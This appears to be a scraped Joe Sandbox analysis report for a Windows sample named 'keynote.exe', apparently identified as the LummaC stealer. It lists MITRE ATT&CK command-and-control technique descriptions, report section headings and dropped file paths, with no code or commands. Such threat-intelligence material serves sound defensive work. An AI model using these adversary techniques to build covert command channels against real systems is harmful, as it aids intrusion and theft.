Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report keynote.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\09B2E2C530B220F2.dat

C:\ProgramData\19C54F81EDD87473.dat

C:\ProgramData\1E8B952B665DD825.dat

C:\ProgramData\20ED4E04906A1ED6.dat

C:\ProgramData\2790DB6CD4A3A042.dat

C:\ProgramData\4A115E6C02F906A2.dat

C:\ProgramData\6D9825A5BA1684D6.dat

C:\ProgramData\85210EAE92C8B7A2.dat

C:\ProgramData\9A14DA9076E5547F.dat

C:\ProgramData\C48776683BFCDA42.dat

C:\ProgramData\C71400AC96956F28.dat

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
keynote.exe